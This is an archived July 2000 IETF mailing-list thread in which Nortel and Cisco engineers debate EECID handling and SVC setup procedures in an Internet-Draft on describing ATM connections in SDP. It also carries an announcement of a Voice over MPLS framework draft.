You have missed the case in which a channel within an existing AAL2
multiple-CID *SVC* is used. 

5.7.2 states: 

"In the forward SVC establishment model, the call-originating gateway
initiates SVC establishment and transmits an eecid to the call-terminating
gateway via SDP."

In BICC forward call model it is the call-terminating gateway which sends
the BNC-ID/EECID to the call-originating gateway (via SDP), which then
returns the EECID value within the SVC extablishment signalling.

Equally: 

"The value of the eecid attribute values needs to be unique within the
gateway initiating the SVC set-up but not across multiple gateways. "

The value should be unique within the gateway *terminating* the SVC. Since
the value is generated and processed only by the Gateway terminating the
SVC, and never by any other node, the sentance following the one quoted
above is not needed, and neither is the qualification of the EECID with an
ATM address.

The mechanism is symetrical between forward and backward call models. In
both cases the gateway *receiving* the SVC request is the one which
generated the EECID value. The value is first passed in the Call Control
signalling from one end to the other, and then back in the SVC
establishment. In this was the SVC establishment can be correlated with the
Call at the end receiveing the SVC request.

Well, the above goes if you want EECID to be synonymous with BNC-ID as
stated in the draft. 

Forgive me if I haven't read the draft carefully enough, but I didn't spot
any procedure definitions. For example, I can see how to code an ATM end
system address in the c= or m= line, and an eecid in an a= line, but what is
the procedure I should use, say, for backward SVC establishment. I need to:

(1) request the eecid and media gateway address of the originating MG from
that MG 
(2) receive a response from the O-MG containing that information 
(3) send the eecid and O-MG address to the terminating MG, with an
(implicit/explicit) indication that SVC setup should be initiated

(4) receive a response from O-MG to O-MGC indicating that an SVC has been
extablished 
(5) receive a response from T-MG to T-MGC that SVC confirmation has been
received. 

If these procedures, and the formats & codes which go with them, are clear
in the IETF, there is some chance of preventing ITU-T Study Group 11
inventing its own extenstion to Megaco for this purpose.

Regards, 

Mark Watson 
Nortel Networks 

-----Original Message----- 
From: Rajesh Kumar [ mailto:rkumar@cisco.com <mailto:rkumar@cisco.com> ] 
Sent: 30 June 2000 22:44 
To: Rosen, Brian; 'Natalia Syracuse'; internet-drafts@ietf.org 
Cc: bfoster@cisco.com; confctrl@isi.edu; mjh@aciri.org;
jo@tzi.uni-bremen.de; atmsdp@eng.fore.com; msf-media@msforum.org

Subject: Submission: draft-rajeshkumar-mmusic-sdp-atm-04.txt 


 Attached is draft-rajeshkumar-mmusic-sdp-atm-04.txt for placement at the
IETF site. It obsoletes 
 draft-rajeshkumar-mmusic-sdp-atm-01.txt, which should be   removed. Please
have it placed 
in the IETF site, after checking if it generally legible and well-formatted
(Text files sometimes 
behave idiosyncratically). If formatting is needed, let me know as soon as
possible. 

Note to Jeorg: We exchanged emails earlier about allocating a 30 minute slot
at the Pittsburgh IETF 
MMUSIC session. Please let me know the date of the review, and the
procedures for moving it 
into standards track expeditiously. That will still give us 6 months of
industry review on the          
mailing list 'atmsdp@eng.fore.com' before it moves into rfc status. 


------_=_NextPart_001_01BFF262.FDBCF840
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>RE: Submission: draft-rajeshkumar-mmusic-sdp-atm-04.txt</TITLE>

<META content="MSHTML 5.00.3018.900" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=429363615-20072000>Mark,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=429363615-20072000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=429363615-20072000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=429363615-20072000>Regardless forward or backward setup, the principle is 
whichever MG (generating MG) chooses an EECID, the other MG (recipient MG) will 
start the UNI SETUP. So that the generating MG will not blindly accept the setup 
request (although if race condition happens, the MG can choose to blindly accept 
the request). In the case that caching is used, the recipient&nbsp;MG will 
choose the existing SVC out of its caching pool.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=429363615-20072000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=429363615-20072000>The 
EECID is unqiue within the genering MG, not the recipient MG. This is because 
the generating MG has no knowledge about how to make it unique at the recipient 
MG. The combination of EECID and MG address can uniquely identify a connection 
across the network. </SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=429363615-20072000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=429363615-20072000>We 
have an internal paper to demonstrate&nbsp;many different call flows. I will 
clean it up and publish the paper to the IETF Megaco and ITU-T SG11 for 
reference very soon.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=429363615-20072000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=429363615-20072000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=429363615-20072000>Regards, Sophia&nbsp;</SPAN></FONT></DIV>
<BLOCKQUOTE style="MARGIN-RIGHT: 0px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Watson, Mark 
  [MAIFP:EP11-M:EXCH] <BR><B>Sent:</B> Thursday, July 20, 2000 4:54 
  AM<BR><B>To:</B> 'Rajesh Kumar'<BR><B>Cc:</B> confctrl@isi.edu; 
  atmsdp@eng.fore.com; msf-media@msforum.org<BR><B>Subject:</B> RE: Submission: 
  draft-rajeshkumar-mmusic-sdp-atm-04.txt<BR><BR></DIV></FONT>
  <P><FONT size=2>Rajesh,</FONT> </P>
  <P><FONT size=2>Section 1:</FONT> </P>
  <P><FONT size=2>"Applications in which existing path resources are assigned to 
  service connections. These resources could be AAL1 PVCs (or SPVCs), AAL5 PVCs 
  (or SPVCs), AAL2 single-CID PVCs (or SPVCs), or channels (CIDs) within AAL2 
  PVCs (or SPVCs) that multiplex multiple CIDs."</FONT></P>
  <P><FONT size=2>You have missed the case in which a channel within an existing 
  AAL2 multiple-CID *SVC* is used.</FONT> </P>
  <P><FONT size=2>5.7.2 states:</FONT> </P>
  <P><FONT size=2>"In the forward SVC establishment model, the call-originating 
  gateway initiates SVC establishment and transmits an eecid to the 
  call-terminating gateway via SDP."</FONT></P>
  <P><FONT size=2>In BICC forward call model it is the call-terminating gateway 
  which sends the BNC-ID/EECID to the call-originating gateway (via SDP), which 
  then returns the EECID value within the SVC extablishment 
  signalling.</FONT></P>
  <P><FONT size=2>Equally:</FONT> </P>
  <P><FONT size=2>"The value of the eecid attribute values needs to be unique 
  within the gateway initiating the SVC set-up but not across multiple gateways. 
  "</FONT></P>
  <P><FONT size=2>The value should be unique within the gateway *terminating* 
  the SVC. Since the value is generated and processed only by the Gateway 
  terminating the SVC, and never by any other node, the sentance following the 
  one quoted above is not needed, and neither is the qualification of the EECID 
  with an ATM address.</FONT></P>
  <P><FONT size=2>The mechanism is symetrical between forward and backward call 
  models. In both cases the gateway *receiving* the SVC request is the one which 
  generated the EECID value. The value is first passed in the Call Control 
  signalling from one end to the other, and then back in the SVC establishment. 
  In this was the SVC establishment can be correlated with the Call at the end 
  receiveing the SVC request.</FONT></P>
  <P><FONT size=2>Well, the above goes if you want EECID to be synonymous with 
  BNC-ID as stated in the draft.</FONT> </P>
  <P><FONT size=2>Forgive me if I haven't read the draft carefully enough, but I 
  didn't spot any procedure definitions. For example, I can see how to code an 
  ATM end system address in the c= or m= line, and an eecid in an a= line, but 
  what is the procedure I should use, say, for backward SVC establishment. I 
  need to:</FONT></P>
  <P><FONT size=2>(1) request the eecid and media gateway address of the 
  originating MG from that MG</FONT> <BR><FONT size=2>(2) receive a response 
  from the O-MG containing that information</FONT> <BR><FONT size=2>(3) send the 
  eecid and O-MG address to the terminating MG, with an (implicit/explicit) 
  indication that SVC setup should be initiated</FONT></P>
  <P><FONT size=2>(4) receive a response from O-MG to O-MGC indicating that an 
  SVC has been extablished</FONT> <BR><FONT size=2>(5) receive a response from 
  T-MG to T-MGC that SVC confirmation has been received.</FONT> </P>
  <P><FONT size=2>If these procedures, and the formats &amp; codes which go with 
  them, are clear in the IETF, there is some chance of preventing ITU-T Study 
  Group 11 inventing its own extenstion to Megaco for this purpose.</FONT></P>
  <P><FONT size=2>Regards,</FONT> </P>
  <P><FONT size=2>Mark Watson</FONT> <BR><FONT size=2>Nortel Networks</FONT> 
</P>
  <P><FONT size=2>-----Original Message-----</FONT> <BR><FONT size=2>From: 
  Rajesh Kumar [<A 
  href="mailto:rkumar@cisco.com">mailto:rkumar@cisco.com</A>]</FONT> <BR><FONT 
  size=2>Sent: 30 June 2000 22:44</FONT> <BR><FONT size=2>To: Rosen, Brian; 
  'Natalia Syracuse'; internet-drafts@ietf.org</FONT> <BR><FONT size=2>Cc: 
  bfoster@cisco.com; confctrl@isi.edu; mjh@aciri.org; jo@tzi.uni-bremen.de; 
  atmsdp@eng.fore.com; msf-media@msforum.org</FONT></P>
  <P><FONT size=2>Subject: Submission: 
  draft-rajeshkumar-mmusic-sdp-atm-04.txt</FONT> </P><BR>
  <P><FONT size=2>&nbsp;Attached is draft-rajeshkumar-mmusic-sdp-atm-04.txt for 
  placement at the IETF site. It obsoletes</FONT> <BR><FONT 
  size=2>&nbsp;draft-rajeshkumar-mmusic-sdp-atm-01.txt, which should 
  be&nbsp;&nbsp; removed. Please have it placed</FONT> <BR><FONT size=2>in the 
  IETF site, after checking if it generally legible and well-formatted (Text 
  files sometimes </FONT><BR><FONT size=2>behave idiosyncratically). If 
  formatting is needed, let me know as soon as possible.</FONT> </P>
  <P><FONT size=2>Note to Jeorg: We exchanged emails earlier about allocating a 
  30 minute slot at the Pittsburgh IETF</FONT> <BR><FONT size=2>MMUSIC session. 
  Please let me know the date of the review, and the procedures for moving it 
  </FONT><BR><FONT size=2>into standards track expeditiously. That will still 
  give us 6 months of industry review on 
  the&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT><BR><FONT 
  size=2>mailing list 'atmsdp@eng.fore.com' before it moves into rfc status. 
  </FONT></P></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01BFF262.FDBCF840--

From confctrl-owner  Thu Jul 20 11:23:30 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA17415
	for confctrl-outgoing; Thu, 20 Jul 2000 11:23:30 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA17409
	for <confctrl@zephyr.isi.edu>; Thu, 20 Jul 2000 11:23:29 -0700 (PDT)
Received: from fire.integralaccess.com ([63.160.25.239])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id LAA24406
	for <confctrl@isi.edu>; Thu, 20 Jul 2000 11:24:14 -0700 (PDT)
Received: from akankkunen [192.168.1.22] by fire.integralaccess.com
  (SMTPD32-6.03) id A4A51F0112; Thu, 20 Jul 2000 14:27:49 -0400
From: "Antti Kankkunen" <anttik@integralaccess.com>
To: <mpls@uu.net>, <confctrl@ISI.EDU>
Subject: draft-kankkunen-vompls-fw-01.txt
Date: Thu, 20 Jul 2000 14:25:51 -0400
Message-ID: <NDBBJMKJIDGJACHAMJCFAECECIAA.anttik@integralaccess.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

FYI

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: Voice over MPLS Framework
	Author(s)	: A. Kankkunen, G. Ash, A. Chiu, J. Hopkins, 
                          J. Jeffords, F. Le Faucheur, B. Rosen, 
                          D. Stacey, A. Yelundur, L. Berger
	Filename	: draft-kankkunen-vompls-fw-01.txt
	Pages		: 58
	Date		: 19-Jul-00
	
This document provides a Framework for using MPLS as one 
underlying technology alternative for transporting VoIP based 
public voice services. 
The document defines a reference model for VoIP over MPLS, defines 
some specific applications for VoIP over MPLS and identifies 
potential further standardization work that is necessary to 
support these applications. The annexes of the document discuss 
the types of requirements that voice services set on the under 
laying transport infrastructure

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-kankkunen-vompls-fw-01.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-kankkunen-vompls-fw-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-kankkunen-vompls-fw-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

draft-kankkunen-vompls-fw-01.txt

-------------------
Antti Kankkunen 
Integral Access Inc. 
6 Omni Way
Chelmsford, MA 01824 
Phone: +1 978 256 8833 x 232 
Mobile: +1 617 513 2172
Fax: +1 978 256 8077 
e-mail: anttik@integralaccess.com 


From confctrl-owner  Thu Jul 20 11:25:43 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA17555
	for confctrl-outgoing; Thu, 20 Jul 2000 11:25:43 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA17550
	for <confctrl@zephyr.isi.edu>; Thu, 20 Jul 2000 11:25:41 -0700 (PDT)
Received: from farley.cisco.com (farley.cisco.com [171.71.153.30])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id LAA24601
	for <confctrl@isi.edu>; Thu, 20 Jul 2000 11:26:29 -0700 (PDT)
Received: from rkumar-ntl (dhcp-71-29-173.cisco.com [171.71.29.173])
	by farley.cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with SMTP id LAA22451;
	Thu, 20 Jul 2000 11:26:03 -0700 (PDT)
Message-Id: <4.1.20000720111601.02d78430@wanbu-mail.cisco.com>
X-Sender: rkumar@wanbu-mail.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Thu, 20 Jul 2000 11:30:39 -0700
To: "Mark Watson" <mwatson@nortelnetworks.com>
From: Rajesh Kumar <rkumar@cisco.com>
Subject: RE: Submission: draft-rajeshkumar-mmusic-sdp-atm-04.txt
Cc: confctrl@ISI.EDU, atmsdp@eng.fore.com, msf-media@msforum.org
In-Reply-To: <61ABD11436FED21192440000F81F3E360304C0EF@nwcwi1a.europe.no
 rtel.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_80342886==_.ALT"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--=====================_80342886==_.ALT
Content-Type: text/plain; charset="us-ascii"

Mark,

A minor point: The draft you are looking at is  a relatively older one. A newer
one is at the IETF site. And there is an even newer one that I circulated on
this mailing list yesterday in which I incorporated some later inputs. It was
too late to submit the latest one to the IETF (past the cutoff date).

At 09:54 AM 7/20/00 +0100, Mark Watson wrote: 

>
> Rajesh, 
>
> Section 1: 
>
> "Applications in which existing path resources are assigned to service
> connections. These resources could be AAL1 PVCs (or SPVCs), AAL5 PVCs (or
> SPVCs), AAL2 single-CID PVCs (or SPVCs), or channels (CIDs) within AAL2 PVCs
> (or SPVCs) that multiplex multiple CIDs."
>
> You have missed the case in which a channel within an existing AAL2
> multiple-CID *SVC* is used. 



Yes, I will add it.


>
> 5.7.2 states: 
>
> "In the forward SVC establishment model, the call-originating gateway
> initiates SVC establishment and transmits an eecid to the call-terminating
> gateway via SDP."
>
> In BICC forward call model it is the call-terminating gateway which sends the
> BNC-ID/EECID to the call-originating gateway (via SDP), which then returns
> the EECID value within the SVC extablishment signalling.
>
> Equally: 
>
> "The value of the eecid attribute values needs to be unique within the
> gateway initiating the SVC set-up but not across multiple gateways. "
>
> The value should be unique within the gateway *terminating* the SVC. Since
> the value is generated and processed only by the Gateway terminating the SVC,
> and never by any other node, the sentance following the one quoted above is
> not needed, and neither is the qualification of the EECID with an ATM
> address.
>
> The mechanism is symetrical between forward and backward call models. In both
> cases the gateway *receiving* the SVC request is the one which generated the
> EECID value. The value is first passed in the Call Control signalling from
> one end to the other, and then back in the SVC establishment. In this was the
> SVC establishment can be correlated with the Call at the end receiveing the
> SVC request.
>
> Well, the above goes if you want EECID to be synonymous with BNC-ID as stated
> in the draft. 



EECID is meant to be synonymous with BNC-ID. I admit that the forward call
model is muddy as described in the ID. I will clean it up and align it with
Q.1901 (BICC). I understand the BICC model - there should be no problem doing
that.


>
> Forgive me if I haven't read the draft carefully enough, but I didn't spot
> any procedure definitions. For example, I can see how to code an ATM end
> system address in the c= or m= line, and an eecid in an a= line, but what is
> the procedure I should use, say, for backward SVC establishment. I need to:
>
> (1) request the eecid and media gateway address of the originating MG from
> that MG 
> (2) receive a response from the O-MG containing that information 
> (3) send the eecid and O-MG address to the terminating MG, with an
> (implicit/explicit) indication that SVC setup should be initiated
>
> (4) receive a response from O-MG to O-MGC indicating that an SVC has been
> extablished 
> (5) receive a response from T-MG to T-MGC that SVC confirmation has been
> received. 



There is a brief mention of the procedures. I can add procedure details to a
later draft. I intend to add examples of how these parameters are to be used.
This is stated at the end of the document.

It is too late to add the procedures to the Internet Draft that will be
reviewed in Pittsburgh. I will publish an ID soon after that. I stated in the
last part of the document:

    "In the authors' opinion, the following tasks need to be done to
    complete the definition of the basic conventions needed to describe
    ATM connections in SDP.
     
     -  Additional, detailed examples of  the use of these SDP conventions."


     -  Additional, detailed examples of  the use of these SDP conventions.


>
> If these procedures, and the formats & codes which go with them, are clear in
> the IETF, there is some chance of preventing ITU-T Study Group 11 inventing
> its own extenstion to Megaco for this purpose.


There is no need for that. A lot of work has been put into this draft, and
there is no need to start over. Please work with me in ensuring that this
document is complete. It is near complete, I believe. I have been consistently
open to inputs, and I have responded to them promptly. The inputs I have
received have been mostly in the last month - there was no attention paid to
the draft before that. If it is the intention of the ITU-T SG 11 to do this
thing again from scratch, then please let me know and I will stop my work in
this area.


>
> Regards, 
>
> Mark Watson 
> Nortel Networks 
>
> -----Original Message----- 
> From: Rajesh Kumar [<mailto:rkumar@cisco.com>mailto:rkumar@cisco.com] 
> Sent: 30 June 2000 22:44 
> To: Rosen, Brian; 'Natalia Syracuse'; internet-drafts@ietf.org 
> Cc: bfoster@cisco.com; confctrl@isi.edu; mjh@aciri.org; jo@tzi.uni-bremen.de;
> atmsdp@eng.fore.com; msf-media@msforum.org
>
> Subject: Submission: draft-rajeshkumar-mmusic-sdp-atm-04.txt 
>
>  Attached is draft-rajeshkumar-mmusic-sdp-atm-04.txt for placement at the
> IETF site. It obsoletes 
>  draft-rajeshkumar-mmusic-sdp-atm-01.txt, which should be   removed. Please
> have it placed 
> in the IETF site, after checking if it generally legible and well-formatted
> (Text files sometimes 
> behave idiosyncratically). If formatting is needed, let me know as soon as
> possible. 
>
> Note to Jeorg: We exchanged emails earlier about allocating a 30 minute slot
> at the Pittsburgh IETF 
> MMUSIC session. Please let me know the date of the review, and the procedures
> for moving it 
> into standards track expeditiously. That will still give us 6 months of
> industry review on the          
> mailing list 'atmsdp@eng.fore.com' before it moves into rfc status. 




Thank you very much.

Rajesh Kumar

^^^^^^^^^^^^^^^^^^^^^
Rajesh Kumar, Ph.D.
Technical Leader        
Carrier Packet Voice
Cisco Systems
San Jose, California
^^^^^^^^^^^^^^^^^^^^^
rkumar@cisco.com                 
408 527 0811                
^^^^^^^^^^^^^^^^^^^^^
 

--=====================_80342886==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font color="#FF0000">Mark,<br>
<br>
A minor point: The draft you are looking at is&nbsp; a relatively older
one. A newer one is at the IETF site. And there is an even newer one that
I circulated on this mailing list yesterday in which I incorporated some
later inputs. It was too late to submit the latest one to the IETF (past
the cutoff date).<br>
<br>
</font>At 09:54 AM 7/20/00 +0100, Mark Watson wrote: <br>
<br>
<font size=2><blockquote type=cite cite>Rajesh,</font> <br>
<br>
<font size=2>Section 1:</font> <br>
<br>
<font size=2>&quot;Applications in which existing path resources are
assigned to service connections. These resources could be AAL1 PVCs (or
SPVCs), AAL5 PVCs (or SPVCs), AAL2 single-CID PVCs (or SPVCs), or
channels (CIDs) within AAL2 PVCs (or SPVCs) that multiplex multiple
CIDs.&quot;<br>
</font><br>
You have missed the case in which a channel within an existing AAL2
multiple-CID *SVC* is used. </blockquote><br>
<br>
<font color="#FF0000">Yes, I will add it.<br>
<br>
<br>
</font><font size=2><blockquote type=cite cite>5.7.2 states:</font> 
<br>
<br>
<font size=2>&quot;In the forward SVC establishment model, the
call-originating gateway initiates SVC establishment and transmits an
eecid to the call-terminating gateway via SDP.&quot;<br>
</font><br>
In BICC forward call model it is the call-terminating gateway which sends
the BNC-ID/EECID to the call-originating gateway (via SDP), which then
returns the EECID value within the SVC extablishment signalling.<br>
<br>
Equally: <br>
<br>
<font size=2>&quot;The value of the eecid attribute values needs to be
unique within the gateway initiating the SVC set-up but not across
multiple gateways. &quot;<br>
</font><br>
The value should be unique within the gateway *terminating* the SVC.
Since the value is generated and processed only by the Gateway
terminating the SVC, and never by any other node, the sentance following
the one quoted above is not needed, and neither is the qualification of
the EECID with an ATM address.<br>
<br>
The mechanism is symetrical between forward and backward call models. In
both cases the gateway *receiving* the SVC request is the one which
generated the EECID value. The value is first passed in the Call Control
signalling from one end to the other, and then back in the SVC
establishment. In this was the SVC establishment can be correlated with
the Call at the end receiveing the SVC request.<br>
<br>
Well, the above goes if you want EECID to be synonymous with BNC-ID as
stated in the draft. </blockquote><br>
<br>
<font color="#FF0000">EECID is meant to be synonymous with BNC-ID. I
admit that the forward call model is muddy as described in the ID. I will
clean it up and align it with Q.1901 (BICC). I understand the BICC model
- there should be no problem doing that.<br>
<br>
<br>
</font><font size=2><blockquote type=cite cite>Forgive me if I haven't
read the draft carefully enough, but I didn't spot any procedure
definitions. For example, I can see how to code an ATM end system address
in the c= or m= line, and an eecid in an a= line, but what is the
procedure I should use, say, for backward SVC establishment. I need
to:<br>
</font><br>
(1) request the eecid and media gateway address of the originating MG
from that MG <br>
<font size=2>(2) receive a response from the O-MG containing that
information</font> <br>
<font size=2>(3) send the eecid and O-MG address to the terminating MG,
with an (implicit/explicit) indication that SVC setup should be
initiated<br>
</font><br>
(4) receive a response from O-MG to O-MGC indicating that an SVC has been
extablished <br>
<font size=2>(5) receive a response from T-MG to T-MGC that SVC
confirmation has been received.</font> </blockquote><br>
<br>
<font color="#FF0000">There is a brief mention of the procedures. I can
add procedure details to a later draft. I intend to add examples of how
these parameters are to be used. This is stated at the end of the
document.<br>
<br>
It is too late to add the procedures to the Internet Draft that will be
reviewed in Pittsburgh. I will publish an ID soon after that. I stated in
the last part of the document:<br>
<br>
</font><font face="Courier New, Courier" color="#FF0000">&nbsp;&nbsp;&nbsp;
&quot;In the authors' opinion, the following tasks need to be done
to<br>
&nbsp;&nbsp;&nbsp; complete the definition of the basic conventions
needed to describe<br>
&nbsp;&nbsp;&nbsp; ATM connections in SDP.<br>
&nbsp;&nbsp;&nbsp;&nbsp; <br>
&nbsp;&nbsp;&nbsp;&nbsp; -&nbsp; Additional, detailed examples of&nbsp;
the use of these SDP conventions.&quot;<br>
<br>
<br>
</font><font face="Times New Roman, Times" color="#FF0000">&nbsp;&nbsp;&nbsp;&nbsp;
-&nbsp; Additional, detailed examples of&nbsp; the use of these SDP
conventions.<br>
<br>
<br>
</font><font size=2><blockquote type=cite cite>If these procedures, and
the formats &amp; codes which go with them, are clear in the IETF, there
is some chance of preventing ITU-T Study Group 11 inventing its own
extenstion to Megaco for this purpose.</font></blockquote><br>
<font color="#FF0000">There is no need for that. A lot of work has been
put into this draft, and there is no need to start over. Please work with
me in ensuring that this document is complete. It is near complete, I
believe. I have been consistently open to inputs, and I have responded to
them promptly. The inputs I have received have been mostly in the last
month - there was no attention paid to the draft before that. If it is
the intention of the ITU-T SG 11 to do this thing again from scratch,
then please let me know and I will stop my work in this area.<br>
<br>
<br>
</font><font size=2><blockquote type=cite cite>Regards,</font> <br>
<br>
<font size=2>Mark Watson</font> <br>
<font size=2>Nortel Networks</font> <br>
<br>
<font size=2>-----Original Message-----</font> <br>
<font size=2>From: Rajesh Kumar
[<a href="mailto:rkumar@cisco.com">mailto:rkumar@cisco.com</a>]</font>
<br>
<font size=2>Sent: 30 June 2000 22:44</font> <br>
<font size=2>To: Rosen, Brian; 'Natalia Syracuse';
internet-drafts@ietf.org</font> <br>
<font size=2>Cc: bfoster@cisco.com; confctrl@isi.edu; mjh@aciri.org;
jo@tzi.uni-bremen.de; atmsdp@eng.fore.com; msf-media@msforum.org<br>
</font><br>
Subject: Submission: draft-rajeshkumar-mmusic-sdp-atm-04.txt <br>
<br>
<font size=2>&nbsp;Attached is draft-rajeshkumar-mmusic-sdp-atm-04.txt
for placement at the IETF site. It obsoletes</font> <br>
<font size=2>&nbsp;draft-rajeshkumar-mmusic-sdp-atm-01.txt, which should
be&nbsp;&nbsp; removed. Please have it placed</font> <br>
<font size=2>in the IETF site, after checking if it generally legible and
well-formatted (Text files sometimes </font><br>
behave idiosyncratically). If formatting is needed, let me know as soon
as possible. <br>
<br>
<font size=2>Note to Jeorg: We exchanged emails earlier about allocating
a 30 minute slot at the Pittsburgh IETF</font> <br>
<font size=2>MMUSIC session. Please let me know the date of the review,
and the procedures for moving it </font><br>
into standards track expeditiously. That will still give us 6 months of
industry review on
the&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>
mailing list 'atmsdp@eng.fore.com' before it moves into rfc status.
</blockquote><br>
<br>

<br>
<font size=2>Thank you very much.<br>
<br>
Rajesh Kumar<br>
<br>
</font><font size=2 color="#800000">^^^^^^^^^^^^^^^^^^^^^<br>
<b>Rajesh Kumar, Ph.D.<br>
</b>Technical Leader&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>
Carrier Packet Voice<br>
Cisco Systems<br>
San Jose, California<br>
^^^^^^^^^^^^^^^^^^^^^<br>
rkumar@cisco.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
408 527
0811<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
^^^^^^^^^^^^^^^^^^^^^<br>
</font><font face="Garamond" color="#800000"><i>&nbsp;<br>
</font></i></html>

--=====================_80342886==_.ALT--


From confctrl-owner  Thu Jul 20 17:18:50 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA05538
	for confctrl-outgoing; Thu, 20 Jul 2000 17:18:50 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA05533
	for <confctrl@zephyr.isi.edu>; Thu, 20 Jul 2000 17:18:49 -0700 (PDT)
Received: from farley.cisco.com (farley.cisco.com [171.71.153.30])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA09421
	for <confctrl@isi.edu>; Thu, 20 Jul 2000 17:19:47 -0700 (PDT)
Received: from rkumar-ntl (dhcp-71-29-173.cisco.com [171.71.29.173])
	by farley.cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with SMTP id RAA23913;
	Thu, 20 Jul 2000 17:18:23 -0700 (PDT)
Message-Id: <4.1.20000720172229.02db6500@wanbu-mail.cisco.com>
X-Sender: rkumar@wanbu-mail.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Thu, 20 Jul 2000 17:22:58 -0700
To: "Mark Watson" <mwatson@nortelnetworks.com>
From: Rajesh Kumar <rkumar@cisco.com>
Subject: RE: Submission: draft-rajeshkumar-mmusic-sdp-atm-04.txt
Cc: confctrl@ISI.EDU, atmsdp@eng.fore.com, msf-media@msforum.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_101481542==_.ALT"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--=====================_101481542==_.ALT
Content-Type: text/plain; charset="us-ascii"

Mark,

I hope you didn't miss my responses to your comments below.

At 09:54 AM 7/20/00 +0100, Mark Watson wrote: 

>
> Rajesh, 
>
> Section 1: 
>
> "Applications in which existing path resources are assigned to service
> connections. These resources could be AAL1 PVCs (or SPVCs), AAL5 PVCs (or
> SPVCs), AAL2 single-CID PVCs (or SPVCs), or channels (CIDs) within AAL2 PVCs
> (or SPVCs) that multiplex multiple CIDs."
>
> You have missed the case in which a channel within an existing AAL2
> multiple-CID *SVC* is used. 



Yes, I will add it.


>
